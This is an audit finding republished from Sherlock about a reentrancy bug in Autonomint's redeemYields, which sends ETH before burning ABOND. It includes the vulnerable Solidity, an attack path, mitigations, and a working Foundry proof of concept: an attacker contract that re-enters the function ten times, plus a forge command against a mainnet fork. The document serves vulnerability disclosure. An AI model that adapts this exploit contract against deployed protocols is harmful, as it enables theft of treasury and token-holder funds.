Skip to content
Audit finding Advanced

Reentrant call in `Treasury::withdrawFromExternalProtocol` during the `Borrowing::redeemYields` flow allows theft of `Treasury` ETH

The redeemYields function sends ETH to the user before burning the user's ABOND tokens, allowing the user to reenter and withdraw ETH multiple times while only burning ABOND once. An attacker could steal ETH from the Treasury and ABOND holders by exploiting this reentrancy.

santiellena Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/408

Found by

santiellena

Summary

In Borrowing::redeemYields there is a call to Treasury::withdrawFromExternalProtocol, to withdraw the ETH that is backing the ABOND that will be burned. That withdrawn ETH is sent in the middle of the execution of the transaction, without gas limit, and not following the Checks-Effects-Interactions pattern, letting the user receiving the ETH reenter the same function to withdraw ETH several times but burning its ABOND and updating its information just once.

Root Cause

In Borrowing::redeemYields there is a call to Treasury::withdrawFromExternalProtocol right before burning ABOND from msg.sender: BorrowLib.sol#L978-L1036

Solidity
    function redeemYields(
        address user,
        uint128 aBondAmount,
        address usdaAddress,
        address abondAddress,
        address treasuryAddress,
        address borrow
    ) public returns (uint256) {
        // check abond amount is non zewro
        if (aBondAmount == 0) revert IBorrowing.Borrow_NeedsMoreThanZero();
        IABONDToken abond = IABONDToken(abondAddress);
        // get user abond state
        State memory userState = abond.userStates(user);
        // check user have enough abond
        if (aBondAmount > userState.aBondBalance) revert IBorrowing.Borrow_InsufficientBalance();
        
        ITreasury treasury = ITreasury(treasuryAddress);
        // calculate abond usda ratio
        uint128 usdaToAbondRatio = uint128((treasury.abondUSDaPool() * RATE_PRECISION) / abond.totalSupply());
        uint256 usdaToBurn = (usdaToAbondRatio * aBondAmount) / RATE_PRECISION;
        // update abondUsdaPool in treasury
        treasury.updateAbondUSDaPool(usdaToBurn, false);
        
        // calculate abond usda ratio from liquidation
        uint128 usdaToAbondRatioLiq = uint128((treasury.usdaGainedFromLiquidation() * RATE_PRECISION) /abond.totalSupply());
        uint256 usdaToTransfer = (usdaToAbondRatioLiq * aBondAmount) / RATE_PRECISION;
        //update usdaGainedFromLiquidation in treasury
        treasury.updateUSDaGainedFromLiquidation(usdaToTransfer, false);
        
        //Burn the usda from treasury
        treasury.approveTokens(
            IBorrowing.AssetName.USDa,
            borrow,
            (usdaToBurn + usdaToTransfer)
        );
        
        IUSDa usda = IUSDa(usdaAddress);
        // burn the usda
        bool burned = usda.contractBurnFrom(address(treasury), usdaToBurn);
        if (!burned) revert IBorrowing.Borrow_BurnFailed();
        
        if (usdaToTransfer > 0) {
            // transfer usda to user
            bool transferred = usda.contractTransferFrom(
                address(treasury),
                user,
                usdaToTransfer
            );
            if (!transferred) revert IBorrowing.Borrow_TransferFailed();
        }
        // withdraw eth from ext protocol
        uint256 withdrawAmount = treasury.withdrawFromExternalProtocol(user,aBondAmount);
        
		//Burn the abond from user
        bool success = abond.burnFromUser(msg.sender, aBondAmount);
        if (!success) revert IBorrowing.Borrow_BurnFailed();
        
        return withdrawAmount;
    }

As it can be seen, USDa is burned from Treasury and sent to user, and ETH is withdrawn from the external protocol, before ABOND data is updated (meaning that user paid for the yield redeem). The ABOND data is updated when the burning occurs.

Note that Borrowing::redeemYields function does not have the nonReentrant modifier: borrowing.sol#L318-L333

Solidity
    function redeemYields(
        address user,
        uint128 aBondAmount
    ) public returns (uint256) {
        // Call redeemYields function in Borrow Library
        return (
            BorrowLib.redeemYields(
                user,
                aBondAmount,
                address(usda),
                address(abond),
                address(treasury),
                address(this)
            )
        );
    }

The Treasury::withdrawFromExternalProtocol function has an external call to the user address to send the ETH calculated in Treasury::withdrawFromIonicByUser, without a gas limit: Treasury.sol#L283-L296

Solidity
    function withdrawFromExternalProtocol(
        address user,
        uint128 aBondAmount
    ) external onlyCoreContracts returns (uint256) {
        if (user == address(0)) revert Treasury_ZeroAddress();
        
        // Withdraw from external protocols
        uint256 redeemAmount = withdrawFromIonicByUser(user, aBondAmount);
        // Send the ETH to user
        (bool sent, ) = payable(user).call{value: redeemAmount}(""); // EXTERNAL CALL
        // check the transfer is successfull or not
        require(sent, "Failed to send Ether");
        return redeemAmount;
    }

As the user data was not updated and ABOND was not yet burned from msg.sender, it can reenter the Borrowing::redeemYields function to drain the protocol earnings.

For the attack to be profitable, the attacker needs to first buy ABOND and wait until the protocol accrues yield from the external protocol (Ionic). The attacker will then call Borrowing::redeemYields and re-enter it to gain the benefits of more than the ABOND held in that time period. (see "Attack path" section).

As in the end, all ABOND has to be burned (meaning that if you redeemed once 100 ABOND and reentered 9 times, the attacker will have to own 1000 in the end because that will be burned), this vulnerability is not the typical reentrancy issue as it happened in The DAO hack where the balance after withdrawing was set to zero, instead here the abondAmount has to be burned and thus owned by the attacker.

The earnings of this attack come from the accrued yield of the ABOND held by the attacker, where the attacker will earn from accrued yields of more than the initially held ABOND amount. As the ABOND::userStates data is not updated until the ABOND::burnFromUser function is called, this attack is possible because the amount to withdraw calculation is done with userStates data: Treasury.sol#L703-L724

Solidity
    function withdrawFromIonicByUser(
        address user,
        uint128 aBondAmount
    ) internal nonReentrant returns (uint256) {
        uint256 currentExchangeRate = ionic.exchangeRateCurrent();
        uint256 currentCumulativeRate = _calculateCumulativeRate(currentExchangeRate, Protocol.Ionic);
        
        State memory userState = abond.userStates(user); // @audit user states data
        uint128 depositedAmount = (aBondAmount * userState.ethBacked) / PRECISION;
        uint256 normalizedAmount = (depositedAmount * CUMULATIVE_PRECISION) / userState.cumulativeRate;
        
        //withdraw amount
        uint256 amount = (currentCumulativeRate * normalizedAmount) / CUMULATIVE_PRECISION;
        // withdraw from ionic
        ionic.redeemUnderlying(amount);
        
        protocolDeposit[Protocol.Ionic].totalCreditedTokens = ionic.balanceOf(address(this));
        protocolDeposit[Protocol.Ionic].exchangeRate = currentExchangeRate;
        // convert weth to eth
        WETH.withdraw(amount);
        return amount;
    }

Updating data after withdrawing: Colors.sol#L41-L60

Solidity
    function _debit(
        State memory _fromState,
        uint128 _amount
    ) internal pure returns(State memory) {
        uint128 balance = _fromState.aBondBalance;
        
        // check user has sufficient balance
        require(balance >= _amount,"InsufficientBalance");
        
        // update user abond balance
        _fromState.aBondBalance = balance - _amount;
        
        // after debit, if abond balance is zero, update cr and eth backed as 0
        if(_fromState.aBondBalance == 0){
            _fromState.cumulativeRate = 0;
            _fromState.ethBacked = 0;
        }
        return _fromState;
    }

Internal pre-conditions

None

External pre-conditions

None

Attack Path

  • Attacker acquires 100 ABOND and waits for it to accrue yields
  • Attacker calls Borrowing::redeemYields
  • Attacker reenters Borrowing::redeemYields many times and redeems let's say 1000 ABOND (10 reenters)
  • With the ETH (and possibly USDa) redeemed, the attacker buys in the last reentrant call the left 900 ABOND (the protocol has to burn 1000).
  • The attacker earned the yields of buying and holding 1000 ABOND but initially he bought only 100.

Impact

Theft of Treasury and ABOND holders ETH.

PoC

The following PoC struggles to make a perfect simulation of how the attacker would get the ABOND with real market prices and how Ionic will increase its exchange rate to get a higher cumulative rate. However, it demonstrates perfectly how the attack can be executed.

Add the following PoC and contracts to test/foundry/Borrowing.t.sol:

Solidity
function test_PoC_ReentrancyInRedeemYields() public {
        uint256 ETH = 1;
        uint24 ethPrice = 388345;
        uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE);
        uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100);
        uint256 amount = 10 ether;
        uint256 amountSent = 11 ether;

        uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit());
        uint256 liquidationAmount = usdtToDeposit / 2;

        // deposit in CDS so there is back funds for the USDa
        address cdsDepositor = makeAddr("depositor");

        {
            vm.startPrank(cdsDepositor);
            contractsB.usdt.mint(cdsDepositor, usdtToDeposit);
            contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit);
            vm.deal(cdsDepositor, globalFee.nativeFee);
            contractsB.cds.deposit{value: globalFee.nativeFee}(
                usdtToDeposit, 0, true, uint128(liquidationAmount), 150000
            );
            
            vm.stopPrank();
        }

        {
            vm.startPrank(USER);
  
            vm.deal(USER, globalFee.nativeFee + amountSent);
            contractsB.borrow.depositTokens{value: globalFee.nativeFee + amountSent}(
                ethPrice,
                uint64(block.timestamp),
                IBorrowing.BorrowDepositParams(
                    IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount
                )
            );
            
            vm.stopPrank();
        }

        {
            vm.startPrank(USER);

            vm.deal(USER, globalFee.nativeFee + amountSent);
            contractsB.borrow.depositTokens{value: globalFee.nativeFee + amountSent}(
                ethPrice,
                uint64(block.timestamp),
                IBorrowing.BorrowDepositParams(
                    IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount
                )
            );

            vm.stopPrank();
        }
  
        vm.warp(block.timestamp + 25920);
        vm.roll(block.number + 2160);

        ExchangeAbond exchange = new ExchangeAbond(address(contractsB.abond));
        Attacker attacker = new Attacker(address(contractsB.borrow), address(contractsB.abond), USER, address(exchange));
        vm.label(address(attacker), "Attacker");

        {
            vm.startPrank(USER);

            uint64 index = 1;
            Treasury.GetBorrowingResult memory getBorrowingResult = contractsB.treasury.getBorrowing(USER, index);
            Treasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails;

            uint256 currentCumulativeRate = contractsB.borrow.calculateCumulativeRate();
            contractsB.usda.mint(USER, 1 ether); // @audit so there are enough funds (doesn't affect the PoC)
            uint256 tokenBalance = contractsB.usda.balanceOf(USER);

            if ((currentCumulativeRate * depositDetail.normalizedAmount) / 1e27 > tokenBalance) {
                return;
            }

            contractsB.usda.approve(address(contractsB.borrow), tokenBalance);
            vm.deal(USER, globalFee.nativeFee);
            contractsB.borrow.withDraw{value: globalFee.nativeFee}(
                USER, index, "0x", "0x", ethPrice, uint64(block.timestamp)
            );

            // @audit Attacker acquiring ABOND
            contractsB.abond.transfer(address(attacker), contractsB.abond.balanceOf(USER) / 12);
            contractsB.abond.transfer(address(exchange), contractsB.abond.balanceOf(USER)); // funding the "exchange"

            vm.stopPrank();
        }

        vm.warp(block.timestamp + 25920);
        vm.roll(block.number + 2160);

        {
            contractsB.borrow.calculateCumulativeRate();

            attacker.attack();
        }
    }

import {Borrowing} from "../../contracts/Core_logic/borrowing.sol";
import {ABONDToken} from "../../contracts/Token/Abond_Token.sol";

contract Attacker {
    Borrowing borrowing;
    ABONDToken abond;
    address USER_PROVIDER;
    uint256 counter = 0;
    uint256 withdrawedInTheFirstCall = 0;
    uint256 accumulator = 0;
    ExchangeAbond exchange;
  
    constructor(address _borrowing, address _abond, address _userProvider, address _exchange) {
        borrowing = Borrowing(_borrowing);
        abond = ABONDToken(_abond);
        USER_PROVIDER = _userProvider;
        abond.approve(address(borrowing), type(uint256).max);
        exchange = ExchangeAbond(_exchange);
    }

    function attack() public payable {
        if (counter < 10) {
            if (counter == 1) {
                // just to show that balance in the end is greater
                withdrawedInTheFirstCall = address(this).balance;
            }
            counter += 1;
            accumulator += abond.balanceOf(address(this));
            borrowing.redeemYields(address(this), uint128(abond.balanceOf(address(this))));
        } else {
            // checking that the attacker withdrawed more than the allowed by his funds
            if (withdrawedInTheFirstCall >= address(this).balance) {
                revert();
            }
            // here before returning, the attacker should buy the needed ABOND with the withdrawed ETH and USDa amount
            exchange.buyAbond{value: 1e6}(address(this), accumulator); // eth sent is to "buy"

            if (accumulator > abond.balanceOf(address(this))) {
                revert("Not enough ABOND to BURN");
            }

            return;
        }
    }

    receive() external payable {
        attack();
    }
}

contract ExchangeAbond {
    ABONDToken abond;

    constructor(address _abond) {
        abond = ABONDToken(_abond);
    }

    function buyAbond(address to, uint256 amount) public payable {
        abond.transfer(to, amount);
    }
}

To run the test:

Bash
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_ReentrancyInRedeemYields -vvv

Mitigation

  • Use the built-in transfer function to send ETH because it limits the gas it sends.
  • Add nonReentrant modifiers to functions that modify the state.

The original report as published on Sherlock, by santiellena. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The redeemYields function performs an external call to send ETH before updating the user's ABOND balance and burning the ABOND, violating the checks-effects-interactions pattern and lacking a reentrancy guard.

Impact

Theft of Treasury and ABOND holders ETH.

What the attacker needed

Attacker must own some ABOND; Attacker must wait for yield to accrue; Attacker must have a contract to reenter

The fix

Use the built-in transfer function to send ETH because it limits the gas it sends, and add nonReentrant modifiers to functions that modify the state.

How it was found

  1. Attacker acquires 100 ABOND and waits for it to accrue yields
  2. Attacker calls Borrowing::redeemYields
  3. Attacker reenters Borrowing::redeemYields many times and redeems let's say 1000 ABOND (10 reenters)
  4. With the ETH (and possibly USDa) redeemed, the attacker buys in the last reentrant call the left 900 ABOND (the protocol has to burn 1000).
  5. The attacker earned the yields of buying and holding 1000 ABOND but initially he bought only 100.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you redeem your ABOND tokens for ETH, the contract sends you the ETH before it updates your ABOND balance. Because sending ETH can trigger code on the receiver's side, the receiver can call the redeem function again before the first one finishes. This lets them get ETH multiple times while only paying with ABOND once.

More from Autonomint Colored Dollar V1

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.